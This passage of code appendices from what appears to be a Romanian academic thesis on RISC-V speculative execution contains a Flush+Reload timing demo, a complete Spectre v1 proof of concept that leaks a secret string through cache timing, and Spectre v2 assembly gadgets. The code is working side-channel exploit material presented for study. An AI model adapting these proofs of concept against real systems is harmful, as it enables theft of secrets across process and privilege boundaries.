18 results [cIdx] = 0;
19
20 printf ("The victim accesses index 100\n");
21
22 for( uint64_t atkRound = 0; atkRound < ATTACK_SAME_ROUNDS ; ++ atkRound ) {
23
24 flushCache (( uint64_t )array2 , sizeof ( array2 ));
25
26 uint8_t dummy = array2 [100 * L1_BLOCK_SZ_BYTES ];
27
28 for ( uint64_t i = 0; i < 256; ++i){
29 start = rdcycle ();
30 dummy &= array2 [i * L1_BLOCK_SZ_BYTES ];
31 diff = ( rdcycle () - start );
32 if (diff < CACHE_HIT_THRESHOLD )
33 results [i] += 1;
34 }
35 }
36
37 uint64_t max = results [0], index = 0;
38 for ( uint64_t i = 1; i < 256; i++)
39 if (max < results [i]) {
40 max = results [i];
41 index = i;
42 }
43 printf ("The attacker guessed index %ld %ld times .\n", index , max );
44
45 return 0;
46 }

Cod C.2: Flush & Reload
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Anexa D

Spectre v1

1 // conditionalBranch .c
2 # include <stdio.h>
3 # include <stdint .h>
4 # include " encoding .h"
5 # include "cache.h"
6
7 # define TRAIN_TIMES 40
8 # define ATTACK_SAME_ROUNDS 10
9 # define SECRET_SZ 5

10 # define CACHE_HIT_THRESHOLD 50
11
12 uint64_t array1_sz = 10;
13 uint8_t array1 [10] = {1 ,2 ,3 ,4 ,5 ,6 ,7 ,8 ,9 ,10};
14 uint8_t array2 [256 * L1_BLOCK_SZ_BYTES ];
15 char* secretString = "BOOM!";
16
17 void victimFunc ( uint64_t idx ){
18 uint8_t dummy = 2;
19
20 // delays array1_sz value through fdiv
21 array1_sz = array1_sz << 4;
22 asm("fcvt.s.lu fa4 , %[in]\n"
23 "fcvt.s.lu fa5 , %[ inout ]\n"
24 "fdiv.s fa5 , fa5 , fa4\n"
25 "fdiv.s fa5 , fa5 , fa4\n"
26 "fdiv.s fa5 , fa5 , fa4\n"
27 "fdiv.s fa5 , fa5 , fa4\n"
28 "fcvt.lu.s %[ out], fa5 , rtz\n"
29 : [out] "=r" ( array1_sz )
30 : [inout] "r" ( array1_sz ), [in] "r" (dummy)
31 : "fa4", "fa5");
32
33 if (idx < array1_sz ){
34 dummy = array2 [ array1 [idx] * L1_BLOCK_SZ_BYTES ];
35 }
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36
37 }
38
39
40 int main(void ){
41
42 static uint64_t results [256];
43 uint64_t start , diff;
44 uint64_t attackIdx = ( uint64_t )( secretString - (char *) array1 ), randIdx ;
45 uint64_t passInIdx ;
46 uint8_t dummy = 0;
47
48 char guessedSecret [ SECRET_SZ ];
49
50 for( uint64_t i = 0; i < SECRET_SZ ; i++) {
51
52 for( uint64_t cIdx = 0; cIdx < 256; ++ cIdx)
53 results [cIdx] = 0;
54
55 for( uint64_t atkRound = 0; atkRound < ATTACK_SAME_ROUNDS ;
56 ++ atkRound ) {
57
58 flushCache (( uint64_t )array2 , sizeof ( array2 ));
59
60 for( int64_t j = TRAIN_TIMES ; j >= 0; j--){
61
62 randIdx = atkRound % array1_sz ;
63 passInIdx = ((j % ( TRAIN_TIMES +1)) - 1) & ~0 xFFFF;
64 passInIdx = ( passInIdx | ( passInIdx >> 16));
65 passInIdx = randIdx ^ ( passInIdx & ( attackIdx ^ randIdx ));
66
67 // set of constant takens to make the BHR be in
68 //a all taken state
69 for( uint64_t k = 0; k < 100; ++k){
70 asm("");
71 }
72
73 victimFunc ( passInIdx );
74 }
75
76 for ( uint64_t i = 0; i < 256; ++i){
77 start = rdcycle ();
78 dummy &= array2 [i * L1_BLOCK_SZ_BYTES ];
79 diff = ( rdcycle () - start );
80 if (diff < CACHE_HIT_THRESHOLD )
81 results [i] += 1;
82 }
83 }
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84
85 uint64_t max = results [0], index = 0;
86 for ( uint64_t i = 1; i < 256; i++)
87 if (max < results [i]) {
88 max = results [i];
89 index = i;
90 }
91 printf ("The attacker guessed character %c %ld times .\n",
92 index , max );
93
94 guessedSecret [i] = index;
95
96 attackIdx ++;
97 }
98
99 guessedSecret [ SECRET_SZ ] = 0;

100
101 printf ("The guessed secret is %s\n", guessedSecret );
102
103 return 0;
104 }

Cod D.1: Atacul Spectre aplicat în cazul salturilor ramificate
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Anexa E

Spectre v2

1 # gadgets.s
2 .section .text
3 .global gadget
4 .global want
5 .extern end
6
7 gadget :
8
9 la a4 , array1

10 lw a5 , passInIdx
11 add a5 ,a5 ,a4
12 lbu a5 ,0( a5)
13 sext.w a5 ,a5
14 slliw a5 ,a5 ,0x6
15 sext.w a5 ,a5
16 la a4 , array2
17 add a5 ,a5 ,a4
18 lbu a5 ,0( a5)
19
20 want:
21
22 nop
23 j end

Cod E.1: Cont,inutul fis,ierului cu bucăt,ile de cod la care se poate face saltul indirect

1 # functions.s
2 .section .text
3 .global gadget
4 .global want
5
6 gadget :
7

60



8 addi sp ,sp ,-16
9 sd ra ,8( sp)

10 sd s0 ,0( sp)
11 addi s0 ,sp ,16
12
13 la a4 , array1
14 lw a5 , passInIdx
15 add a5 ,a5 ,a4
16 lbu a5 ,0( a5)
17 sext.w a5 ,a5
18 slliw a5 ,a5 ,0x6
19 sext.w a5 ,a5
20 la a4 , array2
21 add a5 ,a5 ,a4
22 lbu a5 ,0( a5)
23
24
25 ld ra ,8( sp)
26 ld s0 ,0( sp)
27 addi sp ,sp ,16
28 jr ra
29
30 want:
31 addi sp ,sp ,-16
32 sd ra ,8( sp)
33 sd s0 ,0( sp)
34 addi s0 ,sp ,16
35
36 nop
37
38 ld ra ,8( sp)
39 ld s0 ,0( sp)
40 addi sp ,sp ,16
41 jr ra

Cod E.2: Cont,inutul fis,ierului cu funct,iile la care se poate face saltul indirect
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